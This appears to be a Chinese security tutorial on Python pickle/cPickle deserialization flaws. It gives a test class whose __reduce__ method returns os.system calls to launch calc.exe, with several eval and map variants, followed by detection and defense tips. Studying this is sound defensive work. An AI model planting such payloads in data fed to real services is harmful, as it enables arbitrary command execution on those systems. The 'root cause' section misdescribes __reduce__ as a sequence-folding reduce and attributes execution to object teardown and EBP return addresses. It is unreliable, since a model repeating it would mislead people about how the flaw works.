基本概念
Python中有個庫可以實現序列化和反序列化操作,名爲pickle或cPickle,作用和PHP的serialize與unserialize一樣,兩者只是實現的語言不同,一個是純Python實現、另一個是C實現,函數調用基本相同,但cPickle庫的性能更好,因此這裏選用cPickle庫作爲示例。
cPickle可以對任意一種類型的Python對象進行序列化操作。下面是主要的四個函數:
cPickle.dump():將Python對象序列化保存到本地的文件中。
cPickle.load():載入本地文件,將文件內容反序列化爲Python對象。
cPickle.dumps():將Python對象序列化爲字符串。
cPickle.loads():將字符串反序列化爲Python對象。
簡單示例:
先創建Person類對象並初始化,然後將其序列化並輸出,可以看到是C解釋過的內容:
爲了方便,直接在該代碼下面添加反序列化操作:
Demo
還是用上面的示例,添加一個__reduce__()魔術方法:
漏洞根源分析
漏洞產生的原因在於其可以將自定義的類進行序列化和反序列化。反序列化後產生的對象會在結束時觸發__reduce__()函數從而觸發惡意代碼。
簡單說明一下__reduce__()函數:將一個數據集合(鏈表,元組等)中的所有數據進行下列操作:用傳給 reduce 中的函數 function(有兩個參數)先對集合中的第 1、2 個元素進行操作,得到的結果再與第三個數據用 function 函數運算,最後得到一個結果。
由於cPickle是C寫的代碼且pickle與其實現原理一致,所以到$PYTHON_HOME/Lib/pickle.py中查看reduce加載的源碼:
通過調試可以發現,第1136行將當前棧內容賦值給stack變量,當前棧內容包含我們輸入的惡意的os.system("calc.txt")內容,接着出棧賦值給args變量;通常函數返回地址都保存在當前EBP寄存器所指的上方,因此通過stack[-1]可以獲取返回函數地址並賦值給func變量;最後調用func(*args)傳入特定參數執行函數,從而完成對象的調用解析而執行任意命令。
通用payload
因爲反序列化之後用到的庫需要在反序列化的文件中存在,所以這裏簡單分爲未導入和導入目標模塊即這裏爲os模塊的情況,當然除此之外還有其他一些系統執行庫、其他的姿勢等等,可自行補充,後面有空再補上吧:
這裏貼上測試代碼:
#coding=utf-8
import cPickle
class Person(object):
def __init__(self,username,password):
self.username = username
self.password = password
def __reduce__(self):
# 未導入os模塊,通用
return (__import__('os').system, ('calc.exe',))
# return eval,("__import__('os').system('calc.exe')",)
# return map, (__import__('os').system, ('calc.exe',))
# return map, (__import__('os').system, ['calc.exe'])
# 導入os模塊
# return (os.system, ('calc.exe',))
# return eval, ("os.system('calc.exe')",)
# return map, (os.system, ('calc.exe',))
# return map, (os.system, ['calc.exe'])
admin = Person('admin','123456')
result = cPickle.dumps(admin)
user = cPickle.loads(result)
檢測方法
全局搜索Python代碼中是否含有關鍵字類似“import cPickle”或“import pickle”等,若存在則進一步確認是否調用cPickle.loads()或pickle.loads()且反序列化的參數可控。
防禦方法
1、用更高級的接口__getnewargs()、__getstate__()、__setstate__()等代替__reduce__()魔術方法;
2、進行反序列化操作之前,進行嚴格的過濾,若採用的是pickle庫可採用裝飾器實現。